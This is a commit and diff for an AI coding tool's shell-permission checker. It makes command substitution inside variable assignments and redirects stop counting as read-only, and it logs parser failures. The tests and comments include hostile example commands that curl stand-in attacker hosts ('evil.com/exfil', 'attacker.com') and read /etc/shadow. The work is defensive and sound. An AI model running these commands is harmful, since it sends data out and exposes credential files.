fix(core): close AST substitution gaps and log AST parser failures (#4386 R4)

LaZzyMan · LaZzyMan · commit 42debd13de84 · 2026-05-25T11:51:42.000+08:00
Round-4 critical findings from wenshao: 1. **AST substitution blind spots in non-`command` node types** — `evaluateStatementReadOnly` (shellAstParser.ts) only checked `containsCommandSubstitutionAST` inside the `command` node branch. Substitution living in OTHER node types slipped through as read-only, causing `resolveDefaultPermission` to return `'allow'` and `coreToolScheduler` to auto-approve silently. Verified blind spots (tests added): - `variable_assignment` / `variable_assignments`: `FOO=$(curl evil)` and `FOO=$(cat /etc/shadow) ls` were read-only - Backtick form: `FOO=\`cat /etc/shadow\`` was read-only The pre-PR #4386 regex check in `resolveDefaultPermission` was a safety net masking these AST gaps; removing it without patching the AST was a real security regression. Fix: hoist the `containsCommandSubstitutionAST` guard to the top of `evaluateStatementReadOnly` so every node type inherits the check in one place. Net behavior: substitution anywhere in the statement subtree marks the whole statement as non-read-only, matching the contract the function's docstring (and the comment in `resolveDefaultPermission`) already claimed. Tests follow Step 7.1 RED → fix → GREEN ordering: confirmed each of the 3 affected shapes was misclassified as read-only before the AST hoist, and all 4 cases pass after. 2. **Silent catch in `resolveDefaultPermission`** — the `try/catch` around `isShellCommandReadOnlyAST` swallowed parser exceptions without logging. With the regex safety net gone, the AST check is now the sole gatekeeper, so a parser regression would silently route every command to 'ask' with no trace. Added the same `debugLogger.warn` already used by the equivalent catches in `shell.ts` (line 1394) and `monitor.ts` (line 192). 3. **Misleading comment** in `resolveDefaultPermission` already asserted "the AST walker marks any node with a substitution expansion as non-read-only" — true post-fix, but false pre-fix. Updated to reference the load-bearing top-level guard in `shellAstParser.ts` so the claim is verifiable from one place. Closes wenshao R4 findings: AST blind spots (`permission-manager.ts:417` + `shellAstParser.ts:884`), silent catch (`permission-manager.ts:415`).
diff --git a/packages/core/src/permissions/permission-manager.ts b/packages/core/src/permissions/permission-manager.ts
@@ -413,16 +413,26 @@ export class PermissionManager {
   private async resolveDefaultPermission(
     command: string,
   ): Promise<'allow' | 'ask'> {
-    // AST-based read-only detection. Commands containing command substitution
-    // are never read-only (the AST walker marks any node with a substitution
-    // expansion as non-read-only), so they fall through to 'ask'.
+    // AST-based read-only detection. Commands containing command
+    // substitution are never read-only — `evaluateStatementReadOnly`
+    // (shellAstParser.ts) guards on `containsCommandSubstitutionAST` at
+    // the top so every node type inherits the check, including
+    // `variable_assignment` (`FOO=$(curl ...)`) and `redirected_statement`
+    // (`cat < $(curl ...)`) where earlier versions had blind spots. See
+    // PR #4386 round 4. So substitution-bearing commands fall through
+    // to 'ask' on the line below.
     try {
       const isReadOnly = await isShellCommandReadOnlyAST(command);
       if (isReadOnly) {
         return 'allow';
       }
-    } catch {
-      // AST check failed, fall back to 'ask'
+    } catch (e) {
+      // Mirror the equivalent logging in `ShellToolInvocation.getDefaultPermission`
+      // (shell.ts) and `MonitorToolInvocation.getDefaultPermission` (monitor.ts).
+      // Pre-#4386 we had a regex `detectCommandSubstitution` safety net here;
+      // with that gone, the AST check is the sole gatekeeper, so a silent
+      // catch makes parser regressions invisible.
+      debugLogger.warn('AST read-only check failed, falling back to ask:', e);
     }
 
     return 'ask';
diff --git a/packages/core/src/utils/shellAstParser.test.ts b/packages/core/src/utils/shellAstParser.test.ts
@@ -43,6 +43,42 @@ describe('isShellCommandReadOnlyAST', () => {
     expect(await isShellCommandReadOnlyAST('echo $(touch file)')).toBe(false);
   });
 
+  // Regression coverage for PR #4386 round 4: the AST walker previously
+  // only checked substitution inside the `command` node type, missing it
+  // inside `variable_assignment` (e.g. `FOO=$(curl evil)`) and inside
+  // `redirected_statement`'s redirect target (e.g. `cat < $(curl evil)`).
+  // Pre-PR #4386, a regex check in `resolveDefaultPermission` was a
+  // safety net masking these AST gaps; removing that check exposed the
+  // gaps as a security regression (substitution-bearing commands
+  // silently classified read-only → `'allow'`).
+  describe('substitution in non-command node types (PR #4386 R4 regression)', () => {
+    it('rejects substitution inside variable_assignment', async () => {
+      expect(
+        await isShellCommandReadOnlyAST('FOO=$(curl evil.com/exfil)'),
+      ).toBe(false);
+    });
+
+    it('rejects substitution inside variable_assignment with env-prefix wrapper', async () => {
+      expect(await isShellCommandReadOnlyAST('FOO=$(cat /etc/shadow) ls')).toBe(
+        false,
+      );
+    });
+
+    it('rejects substitution inside a read redirect target', async () => {
+      expect(
+        await isShellCommandReadOnlyAST(
+          'cat < $(curl attacker.com/path-source)',
+        ),
+      ).toBe(false);
+    });
+
+    it('rejects backtick substitution inside variable_assignment', async () => {
+      expect(await isShellCommandReadOnlyAST('FOO=`cat /etc/shadow`')).toBe(
+        false,
+      );
+    });
+  });
+
   it('allows git status but rejects git commit', async () => {
     expect(await isShellCommandReadOnlyAST('git status')).toBe(true);
     expect(await isShellCommandReadOnlyAST('git commit -am "msg"')).toBe(false);
diff --git a/packages/core/src/utils/shellAstParser.ts b/packages/core/src/utils/shellAstParser.ts
@@ -831,12 +831,20 @@ function evaluateAwkReadOnly(args: string[]): boolean {
  *
  * Handles: command, pipeline, list, redirected_statement, subshell,
  * variable_assignment, negated_command, and compound statements.
+ *
+ * Command substitution (`$(...)`, `` `...` ``) and process substitution
+ * (`<(...)`, `>(...)`) anywhere in the subtree mark the whole node as
+ * NOT read-only — checked once at the top so every case below inherits
+ * the guard. This matters for non-`command` node types like
+ * `variable_assignment` (`FOO=$(curl evil)`) and `redirected_statement`
+ * (`cat < $(curl evil)`) where the substitution sits outside any
+ * `command` child. See PR #4386 round 4.
  */
 function evaluateStatementReadOnly(node: SyntaxNode): boolean {
+  if (containsCommandSubstitutionAST(node)) return false;
+
   switch (node.type) {
     case 'command':
-      // Check for command substitution anywhere inside the command
-      if (containsCommandSubstitutionAST(node)) return false;
       return evaluateCommandReadOnly(node);
 
     case 'pipeline': {
